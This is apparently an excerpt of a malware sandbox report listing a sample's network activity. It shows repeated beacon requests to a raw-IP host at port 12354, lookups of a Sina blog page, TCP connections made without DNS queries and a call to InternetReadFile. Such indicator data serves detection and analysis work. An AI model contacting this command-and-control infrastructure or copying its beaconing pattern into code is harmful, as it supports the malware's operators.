Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.232

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_10004990 InternetReadFile,

5_2_10004990

Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-AliveCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
